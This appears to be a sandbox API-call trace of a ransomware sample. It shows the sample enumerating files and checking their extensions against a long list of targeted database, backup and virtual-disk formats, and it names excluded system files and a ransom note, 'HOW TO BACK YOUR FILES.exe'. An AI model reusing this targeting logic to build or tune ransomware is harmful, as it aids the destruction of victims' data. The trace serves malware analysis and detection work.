	[0057.167] lstrcmpiW (lpString1="fca", lpString2="mpd") returned -1
	[0057.167] lstrlenW (lpString="mrg") returned 3
	[0057.167] lstrcmpiW (lpString1="fca", lpString2="mrg") returned -1
	[0057.167] lstrlenW (lpString="mud") returned 3
	[0057.167] lstrcmpiW (lpString1="fca", lpString2="mud") returned -1
	[0057.167] lstrlenW (lpString="mwb") returned 3
	[0057.167] lstrcmpiW (lpString1="fca", lpString2="mwb") returned -1
	[0057.167] lstrlenW (lpString="myd") returned 3
	[0057.167] lstrcmpiW (lpString1="fca", lpString2="myd") returned -1
	[0057.167] lstrlenW (lpString="ndf") returned 3
	[0057.167] lstrcmpiW (lpString1="fca", lpString2="ndf") returned -1
	[0057.167] lstrlenW (lpString="nnt") returned 3
	[0057.167] lstrcmpiW (lpString1="fca", lpString2="nnt") returned -1
	[0057.167] lstrlenW (lpString="nrmlib") returned 6
	[0057.167] lstrcmpiW (lpString1="pn.fca", lpString2="nrmlib") returned 1
	[0057.167] lstrlenW (lpString="ns2") returned 3
	[0057.167] lstrcmpiW (lpString1="fca", lpString2="ns2") returned -1
	[0057.167] lstrlenW (lpString="ns3") returned 3
	[0057.167] lstrcmpiW (lpString1="fca", lpString2="ns3") returned -1
	[0057.167] lstrlenW (lpString="ns4") returned 3
	[0057.167] lstrcmpiW (lpString1="fca", lpString2="ns4") returned -1
	[0057.167] lstrlenW (lpString="nsf") returned 3
	[0057.167] lstrcmpiW (lpString1="fca", lpString2="nsf") returned -1
	[0057.167] lstrlenW (lpString="nv") returned 2
	[0057.167] lstrcmpiW (lpString1="ca", lpString2="nv") returned -1
	[0057.167] lstrlenW (lpString="nv2") returned 3
	[0057.167] lstrcmpiW (lpString1="fca", lpString2="nv2") returned -1
	[0057.167] lstrlenW (lpString="nwdb") returned 4
	[0057.168] lstrcmpiW (lpString1=".fca", lpString2="nwdb") returned -1
	[0057.168] lstrlenW (lpString="nyf") returned 3
	[0057.168] lstrcmpiW (lpString1="fca", lpString2="nyf") returned -1
	[0057.168] lstrlenW (lpString="odb") returned 3
	[0057.168] lstrcmpiW (lpString1="fca", lpString2="odb") returned -1
	[0057.168] lstrlenW (lpString="odb") returned 3
	[0057.168] lstrcmpiW (lpString1="fca", lpString2="odb") returned -1
	[0057.168] lstrlenW (lpString="oqy") returned 3
	[0057.168] lstrcmpiW (lpString1="fca", lpString2="oqy") returned -1
	[0057.168] lstrlenW (lpString="ora") returned 3
	[0057.168] lstrcmpiW (lpString1="fca", lpString2="ora") returned -1
	[0057.168] lstrlenW (lpString="orx") returned 3
	[0057.168] lstrcmpiW (lpString1="fca", lpString2="orx") returned -1
	[0057.168] lstrlenW (lpString="owc") returned 3
	[0057.168] lstrcmpiW (lpString1="fca", lpString2="owc") returned -1
	[0057.168] lstrlenW (lpString="p96") returned 3
	[0057.168] lstrcmpiW (lpString1="fca", lpString2="p96") returned -1
	[0057.168] lstrlenW (lpString="p97") returned 3
	[0057.168] lstrcmpiW (lpString1="fca", lpString2="p97") returned -1
	[0057.168] lstrlenW (lpString="pan") returned 3
	[0057.168] lstrcmpiW (lpString1="fca", lpString2="pan") returned -1
	[0057.168] lstrlenW (lpString="pdb") returned 3
	[0057.168] lstrcmpiW (lpString1="fca", lpString2="pdb") returned -1
	[0057.168] lstrlenW (lpString="pdm") returned 3
	[0057.168] lstrcmpiW (lpString1="fca", lpString2="pdm") returned -1
	[0057.168] lstrlenW (lpString="pnz") returned 3
	[0057.168] lstrcmpiW (lpString1="fca", lpString2="pnz") returned -1
	[0057.168] lstrlenW (lpString="qry") returned 3
	[0057.168] lstrcmpiW (lpString1="fca", lpString2="qry") returned -1
	[0057.168] lstrlenW (lpString="qvd") returned 3
	[0057.168] lstrcmpiW (lpString1="fca", lpString2="qvd") returned -1
	[0057.168] lstrlenW (lpString="rbf") returned 3
	[0057.168] lstrcmpiW (lpString1="fca", lpString2="rbf") returned -1
	[0057.168] lstrlenW (lpString="rctd") returned 4
	[0057.169] lstrcmpiW (lpString1=".fca", lpString2="rctd") returned -1
	[0057.169] lstrlenW (lpString="rod") returned 3
	[0057.169] lstrcmpiW (lpString1="fca", lpString2="rod") returned -1
	[0057.169] lstrlenW (lpString="rodx") returned 4
	[0057.169] lstrcmpiW (lpString1=".fca", lpString2="rodx") returned -1
	[0057.169] lstrlenW (lpString="rpd") returned 3
	[0057.169] lstrcmpiW (lpString1="fca", lpString2="rpd") returned -1
	[0057.169] lstrlenW (lpString="rsd") returned 3
	[0057.169] lstrcmpiW (lpString1="fca", lpString2="rsd") returned -1
	[0057.169] lstrlenW (lpString="sas7bdat") returned 8
	[0057.169] lstrlenW (lpString="sbf") returned 3
	[0057.169] lstrcmpiW (lpString1="fca", lpString2="sbf") returned -1
	[0057.169] lstrlenW (lpString="scx") returned 3
	[0057.169] lstrcmpiW (lpString1="fca", lpString2="scx") returned -1
	[0057.169] lstrlenW (lpString="sdb") returned 3
	[0057.169] lstrcmpiW (lpString1="fca", lpString2="sdb") returned -1
	[0057.169] lstrlenW (lpString="sdc") returned 3
	[0057.169] lstrcmpiW (lpString1="fca", lpString2="sdc") returned -1
	[0057.169] lstrlenW (lpString="sdf") returned 3
	[0057.169] lstrcmpiW (lpString1="fca", lpString2="sdf") returned -1
	[0057.169] lstrlenW (lpString="sis") returned 3
	[0057.169] lstrcmpiW (lpString1="fca", lpString2="sis") returned -1
	[0057.169] lstrlenW (lpString="spq") returned 3
	[0057.169] lstrcmpiW (lpString1="fca", lpString2="spq") returned -1
	[0057.169] lstrlenW (lpString="te") returned 2
	[0057.169] lstrcmpiW (lpString1="ca", lpString2="te") returned -1
	[0057.169] lstrlenW (lpString="teacher") returned 7
	[0057.169] lstrlenW (lpString="tmd") returned 3
	[0057.169] lstrcmpiW (lpString1="fca", lpString2="tmd") returned -1
	[0057.169] lstrlenW (lpString="tps") returned 3
	[0057.169] lstrcmpiW (lpString1="fca", lpString2="tps") returned -1
	[0057.169] lstrlenW (lpString="trc") returned 3
	[0057.169] lstrcmpiW (lpString1="fca", lpString2="trc") returned -1
	[0057.169] lstrlenW (lpString="trc") returned 3
	[0057.170] lstrcmpiW (lpString1="fca", lpString2="trc") returned -1
	[0057.170] lstrlenW (lpString="trm") returned 3
	[0057.170] lstrcmpiW (lpString1="fca", lpString2="trm") returned -1
	[0057.170] lstrlenW (lpString="udb") returned 3
	[0057.170] lstrcmpiW (lpString1="fca", lpString2="udb") returned -1
	[0057.170] lstrlenW (lpString="udl") returned 3
	[0057.170] lstrcmpiW (lpString1="fca", lpString2="udl") returned -1
	[0057.170] lstrlenW (lpString="usr") returned 3
	[0057.170] lstrcmpiW (lpString1="fca", lpString2="usr") returned -1
	[0057.170] lstrlenW (lpString="v12") returned 3
	[0057.170] lstrcmpiW (lpString1="fca", lpString2="v12") returned -1
	[0057.170] lstrlenW (lpString="vis") returned 3
	[0057.170] lstrcmpiW (lpString1="fca", lpString2="vis") returned -1
	[0057.170] lstrlenW (lpString="vpd") returned 3
	[0057.170] lstrcmpiW (lpString1="fca", lpString2="vpd") returned -1
	[0057.170] lstrlenW (lpString="vvv") returned 3
	[0057.170] lstrcmpiW (lpString1="fca", lpString2="vvv") returned -1
	[0057.170] lstrlenW (lpString="wdb") returned 3
	[0057.170] lstrcmpiW (lpString1="fca", lpString2="wdb") returned -1
	[0057.170] lstrlenW (lpString="wmdb") returned 4
	[0057.170] lstrcmpiW (lpString1=".fca", lpString2="wmdb") returned -1
	[0057.170] lstrlenW (lpString="wrk") returned 3
	[0057.170] lstrcmpiW (lpString1="fca", lpString2="wrk") returned -1
	[0057.170] lstrlenW (lpString="xdb") returned 3
	[0057.170] lstrcmpiW (lpString1="fca", lpString2="xdb") returned -1
	[0057.170] lstrlenW (lpString="xld") returned 3
	[0057.170] lstrcmpiW (lpString1="fca", lpString2="xld") returned -1
	[0057.170] lstrlenW (lpString="xmlff") returned 5
	[0057.170] lstrcmpiW (lpString1="n.fca", lpString2="xmlff") returned -1
	[0057.170] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dcf09c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1c00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="spn.hyp", cAlternateFileName="")) returned 1
	[0057.170] lstrcmpiW (lpString1="spn.hyp", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0057.170] lstrcmpiW (lpString1="spn.hyp", lpString2="Apollon865.txt.exe") returned 1
	[0057.170] lstrcmpiW (lpString1="spn.hyp", lpString2=".") returned 1
	[0057.171] lstrcmpiW (lpString1="spn.hyp", lpString2="..") returned 1
	[0057.171] lstrcmpiW (lpString1="spn.hyp", lpString2="windows") returned -1
	[0057.171] lstrcmpiW (lpString1="spn.hyp", lpString2="bootmgr") returned 1
	[0057.171] lstrcmpiW (lpString1="spn.hyp", lpString2="temp") returned -1
	[0057.171] lstrcmpiW (lpString1="spn.hyp", lpString2="pagefile.sys") returned 1
	[0057.171] lstrcmpiW (lpString1="spn.hyp", lpString2="boot") returned 1
	[0057.171] lstrcmpiW (lpString1="spn.hyp", lpString2="ids.txt") returned 1
	[0057.171] lstrcmpiW (lpString1="spn.hyp", lpString2="ntuser.dat") returned 1
	[0057.171] lstrcmpiW (lpString1="spn.hyp", lpString2="perflogs") returned 1
	[0057.171] lstrcmpiW (lpString1="spn.hyp", lpString2="MSBuild") returned 1
	[0057.171] lstrlenW (lpString="spn.hyp") returned 7
	[0057.171] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\spn.fca") returned 95
	[0057.171] lstrcpyW (in: lpString1=0x2d3e600, lpString2="spn.hyp" | out: lpString1="spn.hyp") returned="spn.hyp"
	[0057.171] lstrlenW (lpString="spn.hyp") returned 7
	[0057.171] lstrlenW (lpString="Apollon865") returned 10
	[0057.171] lstrlenW (lpString=".dll") returned 4
	[0057.171] lstrcmpiW (lpString1="spn.hyp", lpString2=".dll") returned 1
	[0057.171] lstrlenW (lpString=".lnk") returned 4
	[0057.171] lstrcmpiW (lpString1="spn.hyp", lpString2=".lnk") returned 1
	[0057.171] lstrlenW (lpString=".ini") returned 4
	[0057.171] lstrcmpiW (lpString1="spn.hyp", lpString2=".ini") returned 1
	[0057.171] lstrlenW (lpString=".sys") returned 4
	[0057.171] lstrcmpiW (lpString1="spn.hyp", lpString2=".sys") returned 1
	[0057.171] lstrlenW (lpString="spn.hyp") returned 7
	[0057.171] lstrlenW (lpString="bak") returned 3
	[0057.171] lstrcmpiW (lpString1="hyp", lpString2="bak") returned 1
	[0057.171] lstrlenW (lpString="ba_") returned 3
	[0057.171] lstrcmpiW (lpString1="hyp", lpString2="ba_") returned 1
	[0057.171] lstrlenW (lpString="dbb") returned 3
	[0057.171] lstrcmpiW (lpString1="hyp", lpString2="dbb") returned 1
	[0057.171] lstrlenW (lpString="vmdk") returned 4
	[0057.171] lstrcmpiW (lpString1=".hyp", lpString2="vmdk") returned -1
	[0057.171] lstrlenW (lpString="rar") returned 3
	[0057.172] lstrcmpiW (lpString1="hyp", lpString2="rar") returned -1
	[0057.172] lstrlenW (lpString="zip") returned 3
	[0057.172] lstrcmpiW (lpString1="hyp", lpString2="zip") returned -1
	[0057.172] lstrlenW (lpString="tgz") returned 3
	[0057.172] lstrcmpiW (lpString1="hyp", lpString2="tgz") returned -1
	[0057.172] lstrlenW (lpString="vbox") returned 4
	[0057.172] lstrcmpiW (lpString1=".hyp", lpString2="vbox") returned -1
	[0057.172] lstrlenW (lpString="vdi") returned 3
	[0057.172] lstrcmpiW (lpString1="hyp", lpString2="vdi") returned -1
	[0057.172] lstrlenW (lpString="vhd") returned 3
	[0057.172] lstrcmpiW (lpString1="hyp", lpString2="vhd") returned -1
	[0057.172] lstrlenW (lpString="vhdx") returned 4
	[0057.172] lstrcmpiW (lpString1=".hyp", lpString2="vhdx") returned -1
	[0057.172] lstrlenW (lpString="avhd") returned 4
	[0057.172] lstrcmpiW (lpString1=".hyp", lpString2="avhd") returned -1
	[0057.172] lstrlenW (lpString="db") returned 2
	[0057.172] lstrcmpiW (lpString1="yp", lpString2="db") returned 1
	[0057.172] lstrlenW (lpString="db2") returned 3
	[0057.172] lstrcmpiW (lpString1="hyp", lpString2="db2") returned 1
	[0057.172] lstrlenW (lpString="db3") returned 3
	[0057.172] lstrcmpiW (lpString1="hyp", lpString2="db3") returned 1
	[0057.172] lstrlenW (lpString="dbf") returned 3
	[0057.172] lstrcmpiW (lpString1="hyp", lpString2="dbf") returned 1
	[0057.172] lstrlenW (lpString="mdf") returned 3
	[0057.172] lstrcmpiW (lpString1="hyp", lpString2="mdf") returned -1
	[0057.172] lstrlenW (lpString="mdb") returned 3
	[0057.172] lstrcmpiW (lpString1="hyp", lpString2="mdb") returned -1
	[0057.172] lstrlenW (lpString="sql") returned 3
	[0057.172] lstrcmpiW (lpString1="hyp", lpString2="sql") returned -1
	[0057.172] lstrlenW (lpString="sqlite") returned 6
	[0057.172] lstrcmpiW (lpString1="pn.hyp", lpString2="sqlite") returned -1
	[0057.172] lstrlenW (lpString="sqlite3") returned 7
	[0057.172] lstrlenW (lpString="sqlitedb") returned 8
	[0057.172] lstrlenW (lpString="xml") returned 3
	[0057.173] lstrcmpiW (lpString1="hyp", lpString2="xml") returned -1
	[0057.173] lstrlenW (lpString="$er") returned 3
	[0057.173] lstrcmpiW (lpString1="hyp", lpString2="$er") returned 1
	[0057.173] lstrlenW (lpString="4dd") returned 3
	[0057.173] lstrcmpiW (lpString1="hyp", lpString2="4dd") returned 1
	[0057.173] lstrlenW (lpString="4dl") returned 3
	[0057.173] lstrcmpiW (lpString1="hyp", lpString2="4dl") returned 1
	[0057.173] lstrlenW (lpString="^^^") returned 3
	[0057.173] lstrcmpiW (lpString1="hyp", lpString2="^^^") returned 1
	[0057.173] lstrlenW (lpString="abs") returned 3
	[0057.173] lstrcmpiW (lpString1="hyp", lpString2="abs") returned 1
	[0057.173] lstrlenW (lpString="abx") returned 3
	[0057.173] lstrcmpiW (lpString1="hyp", lpString2="abx") returned 1
	[0057.173] lstrlenW (lpString="accdb") returned 5
	[0057.173] lstrcmpiW (lpString1="n.hyp", lpString2="accdb") returned 1
	[0057.173] lstrlenW (lpString="accdc") returned 5
	[0057.173] lstrcmpiW (lpString1="n.hyp", lpString2="accdc") returned 1
	[0057.173] lstrlenW (lpString="accde") returned 5
	[0057.173] lstrcmpiW (lpString1="n.hyp", lpString2="accde") returned 1
	[0057.173] lstrlenW (lpString="accdr") returned 5
	[0057.173] lstrcmpiW (lpString1="n.hyp", lpString2="accdr") returned 1
	[0057.173] lstrlenW (lpString="accdt") returned 5
	[0057.173] lstrcmpiW (lpString1="n.hyp", lpString2="accdt") returned 1
	[0057.173] lstrlenW (lpString="accdw") returned 5
	[0057.173] lstrcmpiW (lpString1="n.hyp", lpString2="accdw") returned 1
	[0057.173] lstrlenW (lpString="accft") returned 5
	[0057.173] lstrcmpiW (lpString1="n.hyp", lpString2="accft") returned 1
	[0057.173] lstrlenW (lpString="adb") returned 3
	[0057.173] lstrcmpiW (lpString1="hyp", lpString2="adb") returned 1
	[0057.173] lstrlenW (lpString="adb") returned 3
	[0057.173] lstrcmpiW (lpString1="hyp", lpString2="adb") returned 1
	[0057.173] lstrlenW (lpString="ade") returned 3
	[0057.173] lstrcmpiW (lpString1="hyp", lpString2="ade") returned 1
	[0057.173] lstrlenW (lpString="adf") returned 3
	[0057.174] lstrcmpiW (lpString1="hyp", lpString2="adf") returned 1
	[0057.174] lstrlenW (lpString="adn") returned 3
	[0057.174] lstrcmpiW (lpString1="hyp", lpString2="adn") returned 1
	[0057.174] lstrlenW (lpString="adp") returned 3
	[0057.174] lstrcmpiW (lpString1="hyp", lpString2="adp") returned 1
	[0057.174] lstrlenW (lpString="alf") returned 3
	[0057.174] lstrcmpiW (lpString1="hyp", lpString2="alf") returned 1
	[0057.174] lstrlenW (lpString="ask") returned 3
	[0057.174] lstrcmpiW (lpString1="hyp", lpString2="ask") returned 1
	[0057.174] lstrlenW (lpString="btr") returned 3
	[0057.174] lstrcmpiW (lpString1="hyp", lpString2="btr") returned 1
	[0057.174] lstrlenW (lpString="cat") returned 3
	[0057.174] lstrcmpiW (lpString1="hyp", lpString2="cat") returned 1
	[0057.174] lstrlenW (lpString="cdb") returned 3
	[0057.174] lstrcmpiW (lpString1="hyp", lpString2="cdb") returned 1
	[0057.174] lstrlenW (lpString="ckp") returned 3
	[0057.174] lstrcmpiW (lpString1="hyp", lpString2="ckp") returned 1
	[0057.174] lstrlenW (lpString="cma") returned 3
	[0057.174] lstrcmpiW (lpString1="hyp", lpString2="cma") returned 1
	[0057.174] lstrlenW (lpString="cpd") returned 3
	[0057.174] lstrcmpiW (lpString1="hyp", lpString2="cpd") returned 1
	[0057.174] lstrlenW (lpString="dacpac") returned 6
	[0057.174] lstrcmpiW (lpString1="pn.hyp", lpString2="dacpac") returned 1
	[0057.174] lstrlenW (lpString="dad") returned 3
	[0057.174] lstrcmpiW (lpString1="hyp", lpString2="dad") returned 1
	[0057.174] lstrlenW (lpString="dadiagrams") returned 10
	[0057.174] lstrlenW (lpString="daschema") returned 8
	[0057.174] lstrlenW (lpString="db-journal") returned 10
	[0057.174] lstrlenW (lpString="db-shm") returned 6
	[0057.174] lstrcmpiW (lpString1="pn.hyp", lpString2="db-shm") returned 1
	[0057.174] lstrlenW (lpString="db-wal") returned 6
	[0057.175] lstrcmpiW (lpString1="pn.hyp", lpString2="db-wal") returned 1
	[0057.175] lstrlenW (lpString="dbc") returned 3
	[0057.175] lstrcmpiW (lpString1="hyp", lpString2="dbc") returned 1
	[0057.175] lstrlenW (lpString="dbs") returned 3
	[0057.175] lstrcmpiW (lpString1="hyp", lpString2="dbs") returned 1
	[0057.175] lstrlenW (lpString="dbt") returned 3
	[0057.175] lstrcmpiW (lpString1="hyp", lpString2="dbt") returned 1
	[0057.175] lstrlenW (lpString="dbv") returned 3
	[0057.175] lstrcmpiW (lpString1="hyp", lpString2="dbv") returned 1
	[0057.175] lstrlenW (lpString="dbx") returned 3
	[0057.175] lstrcmpiW (lpString1="hyp", lpString2="dbx") returned 1
	[0057.175] lstrlenW (lpString="dcb") returned 3
	[0057.175] lstrcmpiW (lpString1="hyp", lpString2="dcb") returned 1
	[0057.175] lstrcmpiW (lpString1="hyp", lpString2="dct") returned 1
	[0057.175] lstrcmpiW (lpString1="hyp", lpString2="dcx") returned 1
	[0057.175] lstrcmpiW (lpString1="hyp", lpString2="ddl") returned 1
	[0057.175] lstrcmpiW (lpString1=".hyp", lpString2="dlis") returned -1
	[0057.175] lstrcmpiW (lpString1="hyp", lpString2="dp1") returned 1
	[0057.175] lstrcmpiW (lpString1="hyp", lpString2="dqy") returned 1
	[0057.175] lstrcmpiW (lpString1="hyp", lpString2="dsk") returned 1
	[0057.175] lstrcmpiW (lpString1="hyp", lpString2="dsn") returned 1
	[0057.176] lstrcmpiW (lpString1=".hyp", lpString2="dtsx") returned -1
	[0057.176] lstrcmpiW (lpString1="hyp", lpString2="dxl") returned 1
	[0057.176] lstrcmpiW (lpString1="hyp", lpString2="eco") returned 1
	[0057.176] lstrcmpiW (lpString1="hyp", lpString2="ecx") returned 1
	[0057.176] lstrcmpiW (lpString1="hyp", lpString2="edb") returned 1
	[0057.176] lstrcmpiW (lpString1=".hyp", lpString2="epim") returned -1
	[0057.176] lstrcmpiW (lpString1="hyp", lpString2="fcd") returned 1
	[0057.176] lstrcpyW (in: lpString1=0x2d3e600, lpString2="spn24.hsp" | out: lpString1="spn24.hsp") returned="spn24.hsp"
	[0057.176] lstrlenW (lpString="spn24.hsp") returned 9
	[0057.176] lstrlenW (lpString="Apollon865") returned 10
	[0057.176] lstrlenW (lpString=".dll") returned 4
	[0057.176] lstrcmpiW (lpString1="spn24.hsp", lpString2=".dll") returned 1
	[0057.176] lstrlenW (lpString=".lnk") returned 4
	[0057.176] lstrcmpiW (lpString1="spn24.hsp", lpString2=".lnk") returned 1
	[0057.176] lstrlenW (lpString=".ini") returned 4
	[0057.176] lstrcmpiW (lpString1="spn24.hsp", lpString2=".ini") returned 1
	[0057.176] lstrlenW (lpString=".sys") returned 4
	[0057.176] lstrcmpiW (lpString1="spn24.hsp", lpString2=".sys") returned 1
	[0057.176] lstrlenW (lpString="spn24.hsp") returned 9
	[0057.176] lstrcpyW (in: lpString1=0x2d3e600, lpString2="spn32.clx" | out: lpString1="spn32.clx") returned="spn32.clx"
	[0057.176] lstrlenW (lpString="spn32.clx") returned 9
	[0057.176] lstrlenW (lpString="Apollon865") returned 10
	[0057.176] lstrlenW (lpString=".dll") returned 4
	[0057.177] lstrcmpiW (lpString1="spn32.clx", lpString2=".dll") returned 1
	[0057.177] lstrlenW (lpString=".lnk") returned 4
	[0057.177] lstrcmpiW (lpString1="spn32.clx", lpString2=".lnk") returned 1
	[0057.177] lstrlenW (lpString=".ini") returned 4
	[0057.177] lstrcmpiW (lpString1="spn32.clx", lpString2=".ini") returned 1
	[0057.177] lstrlenW (lpString=".sys") returned 4
	[0057.177] lstrcmpiW (lpString1="spn32.clx", lpString2=".sys") returned 1
	[0057.177] lstrlenW (lpString="spn32.clx") returned 9
	[0057.177] lstrcpyW (in: lpString1=0x2d3e600, lpString2="spn62.ths" | out: lpString1="spn62.ths") returned="spn62.ths"
	[0057.177] lstrlenW (lpString="spn62.ths") returned 9
	[0057.177] lstrlenW (lpString="Apollon865") returned 10
	[0057.177] lstrlenW (lpString=".dll") returned 4
	[0057.177] lstrcmpiW (lpString1="spn62.ths", lpString2=".dll") returned 1
	[0057.177] lstrlenW (lpString=".lnk") returned 4
	[0057.177] lstrcmpiW (lpString1="spn62.ths", lpString2=".lnk") returned 1
	[0057.177] lstrlenW (lpString=".ini") returned 4
	[0057.177] lstrcmpiW (lpString1="spn62.ths", lpString2=".ini") returned 1
	[0057.177] lstrlenW (lpString=".sys") returned 4
	[0057.177] lstrcmpiW (lpString1="spn62.ths", lpString2=".sys") returned 1
	[0057.177] lstrlenW (lpString="spn62.ths") returned 9
	[0057.177] lstrcpyW (in: lpString1=0x2d3e600, lpString2="swd.fca" | out: lpString1="swd.fca") returned="swd.fca"
	[0057.177] lstrlenW (lpString="swd.fca") returned 7
	[0057.177] lstrlenW (lpString="Apollon865") returned 10
	[0057.177] lstrlenW (lpString=".dll") returned 4
	[0057.177] lstrcmpiW (lpString1="swd.fca", lpString2=".dll") returned 1
	[0057.177] lstrlenW (lpString=".lnk") returned 4
	[0057.177] lstrcmpiW (lpString1="swd.fca", lpString2=".lnk") returned 1
	[0057.177] lstrlenW (lpString=".ini") returned 4
	[0057.177] lstrcmpiW (lpString1="swd.fca", lpString2=".ini") returned 1
	[0057.177] lstrlenW (lpString=".sys") returned 4
	[0057.177] lstrcmpiW (lpString1="swd.fca", lpString2=".sys") returned 1
	[0057.178] lstrlenW (lpString="swd.fca") returned 7
	[0057.178] lstrcpyW (in: lpString1=0x2d3e600, lpString2="swd.hyp" | out: lpString1="swd.hyp") returned="swd.hyp"
	[0057.178] lstrlenW (lpString="swd.hyp") returned 7
	[0057.178] lstrlenW (lpString="Apollon865") returned 10
	[0057.178] lstrlenW (lpString=".dll") returned 4
	[0057.178] lstrcmpiW (lpString1="swd.hyp", lpString2=".dll") returned 1
	[0057.178] lstrlenW (lpString=".lnk") returned 4
	[0057.178] lstrcmpiW (lpString1="swd.hyp", lpString2=".lnk") returned 1
	[0057.178] lstrlenW (lpString=".ini") returned 4
	[0057.178] lstrcmpiW (lpString1="swd.hyp", lpString2=".ini") returned 1
	[0057.178] lstrlenW (lpString=".sys") returned 4
	[0057.178] lstrcmpiW (lpString1="swd.hyp", lpString2=".sys") returned 1
	[0057.178] lstrlenW (lpString="swd.hyp") returned 7
	[0057.178] lstrcpyW (in: lpString1=0x2d3e600, lpString2="swd32.clx" | out: lpString1="swd32.clx") returned="swd32.clx"
	[0057.178] lstrlenW (lpString="swd32.clx") returned 9
	[0057.178] lstrlenW (lpString="Apollon865") returned 10
	[0057.178] lstrlenW (lpString=".dll") returned 4
	[0057.178] lstrcmpiW (lpString1="swd32.clx", lpString2=".dll") returned 1
	[0057.178] lstrlenW (lpString=".lnk") returned 4
	[0057.178] lstrcmpiW (lpString1="swd32.clx", lpString2=".lnk") returned 1
	[0057.178] lstrlenW (lpString=".ini") returned 4
	[0057.178] lstrcmpiW (lpString1="swd32.clx", lpString2=".ini") returned 1
	[0057.178] lstrlenW (lpString=".sys") returned 4
	[0057.178] lstrcmpiW (lpString1="swd32.clx", lpString2=".sys") returned 1
	[0057.178] lstrlenW (lpString="swd32.clx") returned 9
	[0057.178] lstrcpyW (in: lpString1=0x2d3e600, lpString2="swd43.hsp" | out: lpString1="swd43.hsp") returned="swd43.hsp"
	[0057.178] lstrlenW (lpString="swd43.hsp") returned 9
	[0057.178] lstrlenW (lpString="Apollon865") returned 10
	[0057.179] lstrlenW (lpString=".dll") returned 4
	[0057.179] lstrcmpiW (lpString1="swd43.hsp", lpString2=".dll") returned 1
	[0057.179] lstrlenW (lpString=".lnk") returned 4
	[0057.179] lstrcmpiW (lpString1="swd43.hsp", lpString2=".lnk") returned 1
	[0057.179] lstrlenW (lpString=".ini") returned 4
	[0057.179] lstrcmpiW (lpString1="swd43.hsp", lpString2=".ini") returned 1
	[0057.179] lstrlenW (lpString=".sys") returned 4
	[0057.179] lstrcmpiW (lpString1="swd43.hsp", lpString2=".sys") returned 1
	[0057.179] lstrlenW (lpString="swd43.hsp") returned 9
	[0057.179] lstrcpyW (in: lpString1=0x2d3e600, lpString2="swd58.ths" | out: lpString1="swd58.ths") returned="swd58.ths"
	[0057.179] lstrlenW (lpString="swd58.ths") returned 9
	[0057.179] lstrlenW (lpString="Apollon865") returned 10
	[0057.179] lstrlenW (lpString=".dll") returned 4
	[0057.179] lstrcmpiW (lpString1="swd58.ths", lpString2=".dll") returned 1
	[0057.179] lstrlenW (lpString=".lnk") returned 4
	[0057.179] lstrcmpiW (lpString1="swd58.ths", lpString2=".lnk") returned 1
	[0057.179] lstrlenW (lpString=".ini") returned 4
	[0057.179] lstrcmpiW (lpString1="swd58.ths", lpString2=".ini") returned 1
	[0057.179] lstrlenW (lpString=".sys") returned 4
	[0057.179] lstrcmpiW (lpString1="swd58.ths", lpString2=".sys") returned 1
	[0057.179] lstrlenW (lpString="swd58.ths") returned 9
	[0057.179] lstrcpyW (in: lpString1=0x2d3e600, lpString2="tur.fca" | out: lpString1="tur.fca") returned="tur.fca"
	[0057.179] lstrlenW (lpString="tur.fca") returned 7
	[0057.179] lstrlenW (lpString="Apollon865") returned 10
	[0057.179] lstrlenW (lpString=".dll") returned 4
	[0057.179] lstrcmpiW (lpString1="tur.fca", lpString2=".dll") returned 1
	[0057.179] lstrlenW (lpString=".lnk") returned 4
	[0057.179] lstrcmpiW (lpString1="tur.fca", lpString2=".lnk") returned 1
	[0057.179] lstrlenW (lpString=".ini") returned 4
	[0057.179] lstrcmpiW (lpString1="tur.fca", lpString2=".ini") returned 1
	[0057.180] lstrlenW (lpString=".sys") returned 4
	[0057.180] lstrcmpiW (lpString1="tur.fca", lpString2=".sys") returned 1
	[0057.180] lstrlenW (lpString="tur.fca") returned 7
	[0057.180] lstrcpyW (in: lpString1=0x2d3e600, lpString2="tur.hyp" | out: lpString1="tur.hyp") returned="tur.hyp"
	[0057.180] lstrlenW (lpString="tur.hyp") returned 7
	[0057.180] lstrlenW (lpString="Apollon865") returned 10
	[0057.180] lstrlenW (lpString=".dll") returned 4
	[0057.180] lstrcmpiW (lpString1="tur.hyp", lpString2=".dll") returned 1
	[0057.180] lstrlenW (lpString=".lnk") returned 4
	[0057.180] lstrcmpiW (lpString1="tur.hyp", lpString2=".lnk") returned 1
	[0057.180] lstrlenW (lpString=".ini") returned 4
	[0057.180] lstrcmpiW (lpString1="tur.hyp", lpString2=".ini") returned 1
	[0057.180] lstrlenW (lpString=".sys") returned 4
	[0057.180] lstrcmpiW (lpString1="tur.hyp", lpString2=".sys") returned 1
	[0057.180] lstrlenW (lpString="tur.hyp") returned 7
	[0057.180] lstrcpyW (in: lpString1=0x2d3e600, lpString2="tur111.hsp" | out: lpString1="tur111.hsp") returned="tur111.hsp"
	[0057.180] lstrlenW (lpString="tur111.hsp") returned 10
	[0057.180] lstrlenW (lpString="Apollon865") returned 10
	[0057.180] lstrlenW (lpString=".dll") returned 4
	[0057.180] lstrcmpiW (lpString1="tur111.hsp", lpString2=".dll") returned 1
	[0057.180] lstrlenW (lpString=".lnk") returned 4
	[0057.180] lstrcmpiW (lpString1="tur111.hsp", lpString2=".lnk") returned 1
	[0057.180] lstrlenW (lpString=".ini") returned 4
	[0057.180] lstrcmpiW (lpString1="tur111.hsp", lpString2=".ini") returned 1
	[0057.180] lstrlenW (lpString=".sys") returned 4
	[0057.180] lstrcmpiW (lpString1="tur111.hsp", lpString2=".sys") returned 1
	[0057.180] lstrlenW (lpString="tur111.hsp") returned 10
	[0057.180] lstrcpyW (in: lpString1=0x2d3e600, lpString2="tur32.clx" | out: lpString1="tur32.clx") returned="tur32.clx"
	[0057.180] lstrlenW (lpString="tur32.clx") returned 9
	[0057.180] lstrlenW (lpString="Apollon865") returned 10
	[0057.181] lstrlenW (lpString=".dll") returned 4
